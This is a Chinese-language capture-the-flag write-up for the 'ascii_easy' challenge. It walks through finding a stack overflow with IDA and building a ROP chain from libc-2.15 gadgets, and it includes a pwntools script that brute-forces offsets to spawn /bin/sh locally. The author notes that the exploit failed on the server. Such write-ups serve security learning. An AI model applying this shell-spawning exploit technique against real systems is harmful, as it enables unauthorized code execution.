1.ssh连上服务器后,利用
scp<用户名>@<ssh服务器地址>:<文件><本地文件路径>
将ascii_easy和libc-2.15下载到本地。
2.利用IDA将ascii_easy打开,找到主函数,F5,可以看到该程序加载了libc-2.15,在地址0x5555E00。
然后对给的参数,检查是否是ASCII可见,如果可见就到 vuln函数
vuln有明显的溢出,只分配了0x1c的空间,可以溢出。
3.该程序开了DEP,应该要用ROP进行流程劫持,在服务器上是有ASLR的,所以可以利用libc-2.15.so来进行利用。
用peda调试可以看到,该libc的加载位置
4.利用ROPgadgets来寻找system或者execve函数,最终找到符合要求的是0xb876a
0xb8767可将存有/bin/sh\x00的寄存器eax的值移到esp中(var_1c=-1ch)。
所以只要将字符串移入eax中就行,在GDB中调试可以看到输入字符串的起始地址是存在ECX寄存器中,
所以我们确定的execv的地址就是 0x0B8767+0x5555E000
所以我们在输入参数时将/bin/sh\x00一起输入,然后只需要将ECX移动,然后mov EAX ECX,就可以加载该字符串。这些命令全部可以再libc-2.15.so中找到,例如:
python ./ROPgadget.py --binary libc-2.15.so --only 'dec|ret' |grep 'ecx'
5.所以最终的exploit是
from pwn import *
#context.log_level = 'DEBUG'
dec_ecx = p32(0x556e5840)
mov_eax_ecx = p32(0x556a6253)
execve = p32(0x55616767)
NULL_PTR = p32(0x556f315c)#0
count = 4
for i in range(0x00,0xff,1):
print count+i
payload = "A"*32+dec_ecx * (count+i) + mov_eax_ecx + execve + NULL_PTR*(2+i) + "/bin/sh\x00"
p = process(argv=['./ascii_easy',payload])
p.interactive()
在本地可以成功拿到shell,这里进行循环的原因是,缓存在GDB调试的时候是固定的,在实际运行中它的地址是不确定的所以要进行遍历。
在服务器不行,原因也没有找到。。。